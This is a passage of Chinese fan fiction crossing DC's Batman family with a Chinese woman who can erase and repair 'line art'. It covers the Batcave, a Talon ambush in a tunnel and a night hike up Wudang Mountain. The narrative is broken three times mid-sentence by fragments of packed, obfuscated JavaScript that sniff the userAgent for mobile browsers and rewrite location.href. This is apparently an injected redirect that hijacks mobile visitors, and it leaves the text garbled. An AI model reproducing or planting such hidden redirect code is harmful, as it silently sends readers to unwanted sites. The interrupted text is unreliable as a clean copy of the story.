“黄连,一味中药。”阿尔弗雷德淡淡地说:“这几天您的嘴角又起了一个泡,我想您应该已经习惯这种苦涩的味道了?” 布鲁斯沉默了一会,慢慢将杯子凑到嘴边,小口小口地啜饮。 “咖啡是无罪的,阿福。” “每一位少爷都同我说过相同的话,布鲁斯老爷,你们在这方面的默契真是令人心折。”阿尔弗雷德将餐盘放到相对不那么杂乱的桌子上,视线扫向屏幕。 “噢。”他的眼底突然浮现出一丝笑意。 屏幕上展现的一份资料上,一个黑发黑眼,面容俊秀明艳的女孩的图片占据了首位,她的眼睛略弯着,笑容灿烂没有阴霾,一看就是生长在平和幸福的家庭里。 在图片的旁边,一段较为简略的资料简单明了地介绍了这个女孩。 安媛,女,24岁,中国人。 “这是个好姑娘,不是吗?”阿尔弗雷德的面容慈祥了些许,他含笑注视着屏幕上的照片,“我记得她还是您的小粉丝,布鲁斯老爷。” 迪克传回来的简讯里,其中最令人瞩目的一条就是需要蝙蝠侠本人的亲手签名,他简单阐述了自己是如何被一位好心的中国姑娘接纳住在她的家里,并得到这位好心人的接济,以至于他不会一开局就流落街头成为被遣返的黑户。 所以满足一位善良女士的小小请求也未尝不可。 于是布鲁斯怀着一种较为奇异的心情写完了那份图纸,并将自己的代号写在了图纸一角。 “迪克看起来也挺喜欢她的。”布鲁斯终于将那杯味道苦涩的果蔬汁喝完了,悄悄地将还留了个底的杯子挪远了些,一本正经地说起大儿子的事情。 任谁都能看出来迪克对这姑娘的好感度有多高,短短几句传讯出现了不下五次这姑娘的名字,所有看过传讯的超英都意识到自己好像误入了什么纯爱频道,成为了恋情萌发期的背景板。 “那么理查德少爷或许需要努力了,”阿尔弗雷德将杯子放回托盘里,一手搭在布鲁斯的肩膀上,笑着说:“或许要等到世界融合成功之后,理查德少爷才有机会。” 布鲁斯不置可否,他对这个突然冒出来的高纬度世界抱有十足的警惕,从迪克传回来的讯息中,有相当一部分文字被无形的力量消除,能够传达到他手里的仅有支离破碎的断句。 他几乎可以确定被抹除的文字里包含了那个世界最重要的秘密,但这些或许都要等到他们将单向通道建立起来之后才能知晓。 还有那位名为安媛的女孩,她的能力也成为了一个相当棘手的定时炸弹。 这几天罗宾一直都在追查有关猫头鹰议会的踪迹,但奇怪的是,往日里无处不在的猫头鹰却像是凭空蒸发了一样,在哥谭内部大范围的消失了。 这种有幕后之手在黑暗中酝酿阴谋的感觉,像极了某些令人头痛的大事件开端,布鲁斯在心里拉起了警报,就忍不住多做一点布置,恨不得一天有二十五个小时。 “滴滴滴。” 通讯频道突然传来声音,来自黑蝙蝠的通讯转入蝙蝠电脑。 布鲁斯点开通讯,卡珊德拉那张清秀的脸出现在屏幕里。 “下午好,bat。” 女孩非常礼貌地跟自家老爹打了个招呼,然后直奔主题。 “我现在在HK,这里的同化程度增强了,你或许需要这份数据,非常惊人。” 话音落下,一份资料就顺着网线传送到了蝙蝠电脑中,布鲁斯点开文件,目光微凝。 “短短一周的时间里,HK从原本的六例变成了惊人的一百万,这对于常驻人口仅有不到八百万的HK来说太恐怖了,高维空间在以一种如同癌细胞杀死正常细胞的侵蚀速度吞噬着这个世界,我不清楚这样的后果究竟是安全的还是......” 卡珊德拉稍作停顿,向来有点沉默寡言的她一口气说了这么长一段话,看起来真的是被这样惊人的增长速度吓坏了。 蝙蝠电脑将文件里数据分析出来,原本六个人的头像及信息清晰明了,但很快属于HK的地图上出现了更多密密麻麻的红点,单靠着卡珊德拉一个人已经完全没办法统计了,还是孔克南专门从上海飞到HK帮助卡珊德拉才勉强完成数据的统计。 这位中国超人小伙最近被身边莫名其妙就失去一部分记忆或是多出来一部分记忆的人折磨的不轻,因为他现在还有一年就准备高考了,结果负责他们班级的老师因为这件事忘记之前已经给他们布置过一次作业的事情,短短两天内布置了双倍的作业。 救救孩子吧! 想起孔克南一边统计数据还要用超级大脑分心去写足有一本大部头那么厚试卷,被磋磨成眼泪汪汪的悲惨模样,卡珊德拉从未有那么一刻庆幸自己已经不用上学了。 “总之,HK这边的情况已经完全乱套了,我正在想办法跟孔克南把那些人稳住,剩下的事情就交给正义联盟了。” 卡珊德拉说。 “做的很好,卡珊德拉,后续由我来解决,你和孔克南注意与他们保持距离。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035127|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在面对女儿的时候,布鲁斯的态度温和了许多,在相处的这段时间里,卡珊德拉从最开始一句话都不敢说的状态变成现在可以自如地融入进蝙蝠家少男少女的朋友圈里,每一个阶段都被老父亲看在眼里。 卡珊德拉秀气地笑了起来,她犹豫了一下,想问问有关迪克的事情,她很好奇迪克在那个高维世界遇到中国女孩的故事,芭芭拉和斯蒂芬妮已经在百忙之中跟她八卦了很多次了,她们都很想知道迪克这次究竟能不能修成正果。 不过这种事情或许可以等到迪克回来之后再问,希望到时候她们不需要再去安慰一个失恋的可怜人。 通讯很快被挂断,他们都还有自己的事情要做,没有那么多时间聊天。 布鲁斯坐在电脑前揉了揉眉心,“阿尔弗雷德,达米安睡着了吗?” “您这个问题问的实在是有些巧妙。”阿尔弗雷德用一种幽默的语气说:“就在您与卡珊德拉小姐通讯期间,我们可爱又敬业的罗宾鸟已经顺着他房间的窗户跟大都会来的小朋友一块飞走了。” 布鲁斯:“......”这孩子。 是时候要找超人谈谈有关孩子的教育问题了,真是奇怪,他养育的前几个男孩虽然都很活泼调皮精力旺盛,但几乎没有像达米安这么——具有主观能动性的。 “我是不是应该给他设置一个门禁?” 布鲁斯问。 “噢,我还以为咱们家的门禁已经是个摆设了呢,由指定的人亲手打破的。”阿尔弗雷德轻飘飘的说,然后毫不意外地看到黑发蓝眼的男人心虚地移开了视线。 布鲁斯默不作声地调出监控,看着两个小男孩的身影正顺着哥谭四通八达的下水道系统游走,看起来很像是大晚上不睡觉约定一起去夜游冒险,但很快那两个绿点就在某一处闸门停下来了。 他们发现了什么? 布鲁斯不觉得一道下水道的闸门会难倒达米安,所以他有点怀疑他们是否遇到了什么无法立刻解决的事情。 很快他的怀疑就成真了。 属于罗宾的通讯很快传入频道,刺耳的金属摩擦声率先鼓噪着传出,刺激着人的耳鼓膜,紧接着就是乔纳森的呼喊声,“罗宾,小心后面!” “父亲,”达米安·韦恩冷静克制的声音在耳麦里回响,他越过一道暗影,将长刀的刀尖送入对方的胸膛,“您或许想来看看,猫头鹰的利爪在这里出现了。” “收到。” 布鲁斯短促有力地回应,然后起身拿起头盔,大步流星地向着放有蝙蝠车的平台走去。 布鲁斯的身后,阿尔弗雷德无声地叹了口气。 看来他今天是等不到这些孩子安安稳稳的上床睡觉了。 蝙蝠车轮胎摩擦地面,发出凶猛地咆哮声,如利箭离线而出。 老管家将蝙蝠电脑设置成托管状态,然后端起托盘,步履稳健从容地走上旋梯,他或许可以制作一些夜宵,等着孩子们回来能够填饱饥肠辘辘的胃。 今天的他,依旧为这个家操碎了心。 22.022 当天晚上,我和迪克驱车从木兰草原前往十堰。 武当山作为道教圣地,每年都有很多游客前往参观,不过作为土生土长的鄂省人,我反而一次都没有去过。 不过好在靠谱的迪克已经做好了攻略,我只需要按照攻略上的步骤来就可以了,非常节省我的脑细胞。 在天色已经完全暗淡的时候,汽车进入高速路主路,时速加快了许多,这种时候只需要关掉空调把车窗打开,带着力量的风就会从车窗的缝隙里钻进来,靠近林地的湿润空气足以将整个肺部洗涤。 我专心致志地开车,迪克在我旁边聚精会神地敲键盘,今天下午通讯器再次传来了蝙蝠侠的讯息,单向通道的基础架构已经做好,但是进度卡在了如何突破次元墙上面。 低纬度想要连接高纬度本就十分困难,这属于技术壁垒,就算DC世界的科技比我所处的世界科技要领先快一百多年,也没办法轻易做到无视维度的差异。 不过这种事情也急不得,毕竟是要传送一个活人,通道被搭建的越稳固约安全最好。 迪克也趁此机会将最近获取的一些信息写入了传讯,这个联络器的使用寿命已经只剩最后两次机会,需要尽可能的全面的帮助两个世界增进彼此的了解。 虽然我觉得我这个世界的人除了我之外,没人知道一个低纬度的纸片世界是真实存在的,这种了解也仅限于蝙蝠侠他正在单方面的想要了解我的世界而已。 唉,不愧是我推,考虑的就是周全,永远拥有planb。 通讯发出之后,迪克这才将注意力从电脑屏幕上转移到窗外,天空上凝聚着一层积雨云,隐约像是要下雨。 他将车内灯打开,手中纸质的攻略用简略的中文和英文写的有些密集,我抽空用余光瞥了一眼,上面中文的部分歪歪扭扭,看得出字迹的主人已经很努力的在画好汉字。 我强行压住嘴角,不让自己笑出声。 不论看几次,都会觉得外国人学写汉字很好笑。 他们的思维模式跟中国人似乎是不太一样的,表音文字和表意文字的书写逻辑也完全不同,这也就导致外国人在第一次学写汉字的时候更倾向于这是在画画。 我曾经在某次吃饭的空闲询问迪克有关汉语言学习的事情,毕竟我推蝙蝠侠就是这样一位精通汉语的奇男子,语言大师,他在西藏求学的那段时间里用一种令人叹为观止的速度学会了中文,就是口音有待商榷。 但除了布鲁斯之外的蝙蝠家成员,好像就只有卡珊德拉一个人是会中文的,漫画里并没有明确表露出其他几个蝙蝠系成员擅长使用中文,就连拥有一小部分中国血统的达米安也没有说中文的相关内容。 “学中文太难了。”迪克无奈地耸肩,“而且我并没有太多时间学习。” 好吧,迪克确实忙的让人看一眼行程就能直接让低能量人群昏过去。 不过自从来到这里,迪克倒是一点点地将中文学起来了,他有一个相当聪明的脑子,学起中文来速度很快,照猫画虎写着汉字也能像个七八分,唯一令人羞耻的地方就在于他学习写字的字帖是我的手稿。 所以尽管现在他写出来的字体歪歪扭扭,却依旧能辨认出与我的字迹相像的地方,圆钝的方块字堆叠在一块,像极了一颗颗散落在纸面的酸妞糖。 攻略上用中文标出了一些我提出要去看的景点,就比如我们驱车到达武当山的时候大概率天还是黑的,我们可以夜爬金顶,去金顶上看日出。 对此迪克提出了异议。 “虽然我不想这么快就否定你的决意,安,”迪克犹豫着说:“但是你是否能坚持在开车这么久之后还能有精力爬完全程?” 哈!这小子真是把我看扁了啊! 我硬着头皮强撑镇定,“当然可以,爬山我超在行的,说不定爬完金顶还可以顺路去南岩看看。” 迪克不说话了,像是默认同意了我的提议。 我扁扁的走开。 暖黄色的灯光照亮了一小片驾驶座,迪克拿着笔在新的空白纸上写写画画,看起来又在抽空练习汉字拼写,顺手就又画了一张我根本看不懂的图纸。 “这又是什么?” “安,你需要专心开车。”迪克没有抬头,但他还是回答了我,“能量抑制器。” “给谁用的,我吗?” “你忘记了吗,除了你需要能量,还有人也需要你的能量。” 笔尖摩擦纸面发出沙沙的声响,迪克抬起头通过后视镜与我对视,“这个东西可以为你控制能量的输出,防止那些人继续抽走你的能量。” 我不好意思地继续目视前方的道路,因为我把这件事忘了个一干二净,还以为能量补充完毕就算结束了。 这种安静的氛围没有持续太久,根据导航的播报声,我们已经从高速路上下来,即将要穿过一条比较狭长的隧道。 这种外暗内明的情况下,车窗的玻璃就这样悄无声息地变成了单面镜。 当第一只利爪惨白的脸出现在我面前的车前窗上时,我手一抖,方向盘瞬间向右滑去,车子在隧道里打了个滑,不受控地向前漂移,迪克眼疾手快抓住了方向盘,电光石火之间,我的安全带被迅速解开,迪克的手臂横亘过来挡在我的面前。 随着“刺啦”一声令人牙酸的刺耳摩擦声,我清晰地看到一只惨白的爪子从那单面玻璃上刺出,在迪克不知道从哪掏出来的短棍上划出一道凹痕。 如果不是迪克挡住那一下,刚刚那只爪子就会直接洞穿我的胸膛。 短棍在迪克手里转了一圈,轻巧却力道极重地敲击在利爪的爪背上,又是几道金属相击的碰撞声,我的椅背被猛然调后,不受控制地向后倒去,接连躲过了利爪的几道攻击。 利爪尖啸一声,继续扑了上来,我闻到它的身上带着一股冷冻肉解冻后的水腥味,令人作呕。 短短几秒钟的时间迪克已经与利爪交过几次手,但车还没有停住,以一种醉酒似的姿态摇摇晃晃地向前行驶着,而且速度并没有减慢。 我还来不及倒吸一口凉气,整个人就被迪克拦腰抱起身形调转,像个大号抱枕似的被他圈在怀里。 很快我就意识到为什么他没有干脆地把我扔进后座,非要用这么拥挤的姿势应对利爪的攻击。 我几乎是面对面紧贴在迪克身上,视线自然看清后座车窗上趴着的另一只惨白面孔,纯黑的几乎遮住整个眼白的双瞳无神地死死盯着我,黑色的头发垂落在脸侧,搭配那惨白的皮肤,像极了刚从井里爬出来的贞子。 啊啊啊啊啊啊! 大晚上的一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040175|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要这么吓人吗! 我喉头一哽,几乎发不出什么声音了。 2d漫画和现实终究是不一样的,3d立体的鬼脸替代了漫画里的美型人物,鬼片效果瞬间翻了至少十倍。 可是—— 不是说低纬度没办法直接入侵高纬度世界吗? 为什么利爪可以无视这个规则直接亲身上阵了! 就在此时,耳边传来迪克简洁有力的声音,将我从已经有些崩溃的情绪里唤回,“安,尝试调动你的能力,相信你拥有它,然后使用它。” 我的能力...... 我的身体抑制不住地颤抖起来,大脑费力地接收着来自外界的信息,我的能力是什么来着? 冷静,冷静,我不能给迪克拖后腿。 我闭上眼睛,控制住自己发软的胳膊死死抱住迪克的腰,一道道灰白的剪影如潮水般覆盖了整个世界,那些熟悉的线条再一次出现在我的视野里,整个车厢仿佛一个由线段交织成的小盒子,我和迪克就是小盒子里的两滴留白液。 身后迪克的短棍再一次阻挡住利爪的攻击,发出令人头皮发麻的声响。 我无法像上次一样集中全部的注意力,只好努力用听觉嗅觉去感受那些东西,在一团乱麻似的线稿中,终于找到了一块不和谐的灰色墨迹,在黑与白交织的空间里格外明显。 无论是什么,总之通通给我消失! 后车窗的利爪将半个身体都钻了出来,尖锐的爪子闪烁着寒光,我几乎能看到爪子上残留的血迹了。 这能力怎么不管用啊! 眼见着那只爪子就要刺到我的脸,千钧一发之刻,我伸出唯一能够伸直的左手在那团墨迹上狠狠一抹,而我的身后再次传来利爪尖利的啸声,有几滴冰凉的液体飞溅在我的后颈上,冰的让人心颤。 这一次成功了,那滴不和谐的灰色墨迹被我完全地抹除,像是从来没有出现过一样消失的干干净净。 而后迪克猛然踩下刹车,我们两个被惯性带着摔向车前窗的方向,等到车彻底停稳之后,我喘着粗气虚脱地趴在他的肩膀上,盯着利爪消失的方向不敢移开视线。 后脑覆盖上一只手,安抚地顺着我的发顶向下拂过我的脊背。 “好了,好姑娘,你安全了,先别回头。” 那股水腥味依旧笼罩在我的鼻端,我意识到车前的那只利爪很可能并没有消失,我不敢回头,迪克的手也牢牢扣住我的后颈,但我仍旧听到来血肉被撕裂的声音,那声音足以令每一个活着的生物感到恶心和幻痛,但迪克甚至没有任何动摇地凭借蛮力将利爪的尸体推出了车窗,紧接着他关掉了车内的暖光灯。 车内陷入绝对的黑暗,没有反光,没有倒影,有且仅有我急促的带有泣音的呼吸声。 “安,好姑娘,你做的很好,放松下来,我们已经将它们解决了,你现在安全了。”迪克在我耳边低声安抚,温热的手一下又一下地轻拍着我的背。 我将脑袋缩进迪克的颈侧,把自己当成了一只自欺欺人的鸵鸟,那股水腥气很快被布料上洗衣液残留的柑橘香气所取代。 这一次是两只利爪。 那下一次呢? 下一次会是什么? 两个世界尚未接触,我便已然从心底生出一股寒意来。 23.023 我受到惊吓之后情绪的恢复速度比我预想中的要快很多。 当我逐渐从迪克的脖颈处汲取到一定的温度之后,一股无形的尴尬从我们两个人之间蔓延开来。 可能仅仅是我个人单方面的尴尬,因为我察觉到我们两个现在的姿势很奇怪——非常奇怪。 这有点暧昧了。 我不动声色地支起上半身。 迪克似乎并未觉得这样的姿势有什么不对,但我已经准备找个不显得那么生硬的话题逃离现场。 “利爪的尸体我们要怎么处理?”我悄悄地向后挪,试图神不知鬼不觉地将自己和迪克纠缠在一起的腿分开。 说到这个似乎也没法感觉到尴尬了,我开始头痛该怎么解释在隧道里杀人抛尸这件事了,怎么都洗不清啊! 迪克非常自然地松开了扶在我脊背上的手,闻言忍不住笑了起来,“这句话听起来很像我们刚谋杀了一个人。” 我感受到脊背上的重量消失,悄悄松了口气,“也没什么区别吧,不管是不是谋杀,我们现在都要想办法处理尸体。” 我甚至都不知道这个隧道里有没有监控。 “别担心。”迪克伸出手打开了一侧的车门,示意我下车去看,“你或许可以看一看,利爪的尸体还存不存在。” 我犹豫了一下,最后还是鼓起勇气推开车门,从迪克身上跨了过去,双脚踩在地面上的时候我甚至差点没站稳摔倒,迪克扶了我一把,“小心点,需要我帮忙吗?” “不了。”我强忍着缩回去的冲动,强行让自己的视线转移过去,去看迪克刚刚抛尸的地点。 我一愣。 没有,什么都没有。 我向前走了几步,脚底踩住了什么坚硬的东西,低下头一看,发现那是一扇黑金配色的面具,在昏暗的环境里反射着诡异的光。 迪克跟在我身后下了车,弯腰将那扇面具捡起,拿在手上检查了一遍,“是利爪面具没错,每个利爪面具都会有独特的编号,这个也是。” 他给我展示面具里面凹陷的部分,上面确实刻着一行数字编号。 “但是,利爪是怎么消失的,面具又为什么能留下来?”我有些费解这种情况形成的原因,迪克却像是明悟了似的,“走吧,我们先找个地方休息一下,距离下一个休息站还有两公里的路程,到那里再说。” 可是车子已经在刚刚利爪袭击的时候被破坏掉了车前窗和后窗,这样子真的还能上路吗? 虽然给车买了保险,但我仍旧不可避免地感受到了一丝肉痛。 我盯着车旁边碎裂的玻璃,突然“诶”了一声,一拍大腿,“等一下,我做个测试。” 既然我的那个能力能够消除线稿上的墨点,是不是也能试着修复破损的线稿? 这不是我老本行吗? 不知道是不是已经使用过两次能力的原因,这一次我闭上眼睛时,面前场景变换的速度比之前两次都要快,几乎是下一秒我的面前就再次变成了黑白灰组成的世界。 隧道内原本昏暗的场景完完全全展现出来,蜿蜒曲折的线条像是被虫子啃过的叶片一样坑坑洼洼,我的破烂小车在这种线条的包围下都显得横平竖直起来了。 凹凸不平的玻璃断口,线条是整个截断的,我试探性地伸出手一抹,那感觉像极了我大学那会流行给亲朋好友织围巾时用的毛线,一抻就直了,我扥着那根线,非常麻利地跟另外一块断裂的线头打了个结。 虽然多出来了点无伤大雅的小线头,但是至少整个玻璃的线稿看起来是完整的。 一个成功了,接下来的事情也就好办了。 等我从那种玄之又玄的感觉里脱离出来的时候,迪克正站在车前盖前敲玻璃。 “咚咚”两声,车玻璃完好无损。 我新奇地围着车绕了一圈,确定原本还有点破破烂烂的车子现在已经恢复了原状,这种能力太bug了吧,这岂不是给我省了好多修理费。 最大赢家或许是卖给我车保的保险公司啊! “这个能力太方便了!”迪克的眼里冒着光,要是他也能有这样的能力,就不用每天夜巡结束还要回公寓勤勤恳恳修整装备,为了赚取每个月的经费支出快把贫穷的小警察累惨了。 看着迪克眼里冒出来的小星星,什么利爪什么恐惧的我瞬间就给抛到脑后了,心中顿时涌现出一股豪情壮志,“以后什么东西坏掉都不怕了,姐给你修!” 迪克被逗笑了,“走吧,我们在这里耽误太久时间了,再留在这里的话说不定会赶不上看日出。” 我心满意足地准备坐进驾驶座,然后就看见迪克长腿一伸,率先坐进了驾驶座。 我:“?” 当我脑袋上冒出一个问号的时候,我觉得那不应该是我的问题,而是你的问题。 我的大脑宕机了几秒,结果迪克转头就把我塞进了副驾驶,我打了个激灵,立刻就要去扒拉准备开车上路的迪克。 “你是准备无证驾驶吗大兄弟,我的驾照本在闪烁啊你看到了吗!” 迪克压住我的脑袋,还贴心地给我扣上了安全带,“别担心,不会被抓到的。” 他眨了眨眼睛,“或许你可以休息一会,毕竟你之前已经开了将近三个小时的车,还受到了惊吓,疲劳驾驶可比无证驾驶还要可怕。” 这两个都很危险好吗? 我被迪克暂时说服了,无所谓了,毕竟我知道如果现在想要说服迪克让我来开车,那我们估计要在这里过夜。 那不如直接通宵去爬金顶。 至少还能赶上日出。 为了开车,迪克将那个面具塞到我的手里,我拿着面具翻来覆去地看了许久,除了那一串编号之外,就只能察觉到这个面具的材质不太一般。 或许是他们那边特有的材料吧。 利爪消失但是面具留下来了,是否说明面具是一种特殊道具? 我脑子里灵光一闪,“这不会是什么传送道具吧?” “Bingo~”迪克语气轻松地给予了肯定的答复,“利爪是杀不死的,所以我把它的面具撕下来了。” 所以利爪消失是因为面具被摘下来了,直接被传送走了是吗? 那我刚刚听到的撕裂血肉的声音...... 呃,还是不要回想了吧,我的脸有点幻痛了。 我忍不住摸了摸脸,心有余悸地将面具搁在车兜里,车辆再次行驶起来,隧道内阴冷潮湿的风吹在我的脸上,稍微驱散了一些我的疲惫。 迪克说的没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045318|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我现在确实感觉到很疲惫,脸色大概率也不会太好看,毕竟我只是一个生活在和平社会里的普通人,第一次遇到危险就是以凶狠残忍不知疲倦著称的利爪,我很难不被吓到。 接下来的一段路程,车速不是很快,迪克开车出乎意料的很平稳,当我们终于出隧道的时候,天上的月亮都已经被云层遮盖住了,闷雷声逐渐凝聚,山雨欲来风满楼。 车窗被摇上,我的眼皮逐渐打架,最后昏昏沉沉地睡着了。 雷霆裹挟着雨水,冲刷在行驶中的汽车顶棚上,夏日夜晚的雨水总是带着温度,击打在车窗上的力道也十分有力,恍惚中有什么温暖的东西披在了我身上,等我再一次睁开眼的时候,发现车已经停了。 我一歪头,就看到迪克坐在旁边,电脑上面的监控视频正在播放隧道里的画面。 我“噌”地一下坐直了身体,“你干了什么?” 迪克轻松地将屏幕转向我,“做了一些维护世界和平的小事。” 你嘴里所谓维护世界和平的小事就是把监控视频替换掉吗?你的黑客水平已经逆天了吧! 我忍了又忍,终于还是没忍住,“你究竟是怎么做到的,我可跟你讲,我们国家有一套相对完整的刑法,我要是坐牢了我后代就考不了公了!” 鲁省重视考公怎么了,我们鄂省对考公的执念也不遑多让,每年国考省考卷生卷死一大片。 “放轻松,你或许没有发现,这个世界正在自主修复一些可能会存在的bug。” 迪克示意我认真去看一遍监控视频,我眯着眼睛看了一会,这才发现有哪里不对。 “这是你已经替换完成的视频吗?” 迪克摇头,“当然不是,这就是原视频。” 视频中,熟悉的黑色小轿车放缓速度进入隧道,画面转换,隧道内的监控显示黑色小轿车正常平稳地向前行驶,随后在靠近三分之一的地方停了下来,我的身影从驾驶座走下来,从地上捡起了一个面具,然后迪克进入驾驶座,而我坐进副驾驶,车门关闭,小汽车再次向前行驶,很快就离开了隧道。 我:“这真的不是替换之后的?” 迪克:“我保证。” 我陷入了沉默。 “安。”迪克组织了一下语言,缓缓道,“虽然这个时候告诉你事情真相可能会让你感到惊吓,但是我觉得你还是有权利知道这件事。” “什么?”我的心里有了一种不太好的预感。 “你所在的高纬度空间正在侵蚀我所在的世界,从布鲁斯发来的讯息里,他告诉我那个世界的人已经被高维空间的人同化了至少上亿人。” 同位体合二为一。 迪克说,“我们两个的世界正在融合。” 到那时,我的记忆,乃至我亲朋的记忆都会被抹除,完全变成新世界的土著民。 我的记忆中将不再有绚烂多彩的DC漫画,而是充满未知的,不安的,时刻警惕外星人入侵或是超级反派搞事情毁灭地球的陌生世界。 “没关系,我会找到办法的。” 那一刻,一种新奇的,似乎从未出现过的隐秘的使命感突然充斥了我的大脑,填满了我的胸腔。 “我会保护好我的世界,我的家人和我的朋友。” 24.024 这个世界正在有意无意地修复不该出现在这个世界上的bug,一切超自然元素都会被模糊处理,就比如现在出现在电脑里的这段监控录像。 迪克说,高维的世界正在侵蚀低维的世界,这种修复bug的行为也算是侵蚀的案例之一,而一旦彻底融合,两个世界的人都会被同化,如果我想要阻止这种同化,就要做到阻止两个世界继续融合。 说到底,这一切的混乱都是我的能力觉醒导致的,我不能放任那些危险的东西入侵我的世界,把本就不算和平的世界搅得天翻地覆。 就算我再喜欢那些漫画人物,不行就是不行,这是原则问题。 不过目前我最先要完成的任务就是去能量充足的地方吸取能量,保证我不会因为能量耗尽嘎嘣死掉。 迪克停车的地方是一个小型休息站,我们下来活动了几分钟,就再次启程直奔武当山。 当然,这一次是我坐驾驶室。 在凌晨三点钟左右,我们到达了武当山附近的停车场,刚刚下过一场雷阵雨,空气尚且潮湿着,伴随着山间的一阵凉风,吹得刚下车的我立刻就打了个喷嚏。 更深露重,我默默地把外套的拉链拉上,转头一看迪克上半身依旧只穿着一件短袖t恤。 这人怎么从小就不怕冷的。 “你不穿一件外套吗,山里的温度比外面低很多。” “没关系,进山之后就不冷了。”迪克蹲下身整理了一次鞋带,起身时瞥见我穿着便于走远路的运动鞋,“裤筒最好扎紧一些,山上可能会有蚊子。” 他说这话不是没有道理的,毕竟认识我这么久之后,他充分地意识到什么叫做吸蚊子体质,到了清晨或是傍晚的时候,无孔不入的蚊子就开始骚扰我,每天身上都会被咬出大包,就连洗澡的时候都会挨咬,还专门咬在屁股上,痒的时候都不方便挠痒痒。 我立刻听从迪克的意见把裤腿扎紧,然后从车兜里拿出花露水开始对着裸露的皮肤狂喷,迪克凑了过来,于是我对着他也是一阵狂喷,最后我们两个都变成了香喷喷的小人,这才算做足了准备,拿好行李准备上山。 经过武当山的牌坊之后检票上山,夜爬是从三点钟开始的,刚上去的时候是一段缓坡,我因为之前睡了一觉,现在感觉精神头都很不错,走起路来也是虎虎生风,不过为了减轻压力,我还是把携带背包的重任交给了迪克。 能者多劳嘛。 迪克轻轻松松跟在我身边,完全看不出像是背了个放了许多食物和水的背包在身上,爬缓坡的时候甚至还有余力拿出手机给我拍照。 闪光灯照在脸上的时候我下意识地咧嘴微笑,随后飞快地反应过来,凑到相机旁边审阅迪克的拍照技术,黑灯瞎火的能拍出什么东西来。 嘿,还别说,拍的挺好看。 虽然周围的环境都很昏暗,但闪光灯下的我居然有一种开了滤镜的立体感,如果忽略我略有些傻气的咧嘴笑的话,这是一张相当有氛围感的照片。 我决定接下来一段时间拍照的时候都不笑了,平时不觉得,但是现在一看感觉好傻啊! 迪克翻看着相册,倒是看起来很满意的样子。 夜晚的山路很寂静,能够听到的声音除了道路两侧树叶沙沙作响,就只剩下我和迪克两个人的脚步声和呼吸声。 缓坡爬完之后,接下来的一段路程开始变得陡峭起来,我能够感受到有一缕清风一直追随着我,就像是一条长丝带一样,顺着我的脖颈钻入我的肺腑,清凉的气息在一呼一吸之间流转,迪克手机里的能量探测模型开始滴滴作响,这意味着我们已经进入到了高能量区域。 迎接我们的是一条较为陡峭狭窄的山路。 “这里的能量场非常庞大,”迪克低头看着探测模型检索出来的探测数据,“数值已经到达了50%以上,等我们登上金顶,说不定数值会更高。” 我跟在迪克身后爬着台阶,感受着空气中越来越浓密的水汽,身体里那股力量逐渐形成了一个小小的黑洞,正在不知疲倦地吸收着四周逸散的能量。 这种感觉很奇怪,就像是自己变成了一个大麻袋,随着风飘动的过程中吞掉一个又一个小猫咪,最后把自己装的鼓鼓囔囔,袋子里全是小猫咪喵喵呜呜的叫声。 “我感觉好撑。” 我说。 迪克又在给我拍照了,他爬坡的动作比我轻盈多了,跟平时走在平地上也没什么区别,甚至更加灵巧,就算是时不时转身倒着上台阶给我拍照,也不见他的身形有任何被绊倒的迹象。 “这里的能量比较高,感觉到撑是正常的,你的身体正在逐渐适应从空杯子转变成装满水的杯子的过程,放轻松去接纳它。” 迪克说起这种理论知识的时候简直一套一套的,不过他也确实对这种情况很熟练,毕竟少年泰坦时期他没少给队友收拾残局,队伍里除了他和红箭以外全是超能力者,一个比一个难搞。 枯燥的爬山其实有点无聊,我决定聊点什么,干脆就聊他少年泰坦时期的日常。 “这么说起来,你和快手罗伊·哈珀的关系很好,毕竟都是少年泰坦的成员。” 现在说起罗伊·哈珀,我最初对他的印象其实是最开始看红头罩相关刊物时出现的军火库形象,所以我大部分时间里都会称呼罗伊·哈珀为军火库,不过跟迪克说起罗伊的时候,他或许对红箭或是快手这两个代号比较熟悉。 “那个时候罗伊还没有跟绿箭侠闹翻。”说起这个,迪克有些无奈地放下手机,“他性格很好,也很可靠,我们两个人的配合非常默契,那个时候我还是罗宾,我们两个同样都是作为正义联盟超英的助手存在的,所以我们很有共同语言。” 共同语言,这里指的是一起吐槽父辈和导师吗? 你们看隔壁小闪就没有这个问题。 我喘了口气,感觉虽然能量逐渐回升,但体力正在逐渐消耗,如果我接下来想要做些什么的话,或许真的要开始锻炼体能了。 “所以为什么后来你们单飞之后,罗伊跟着杰森跑了?” 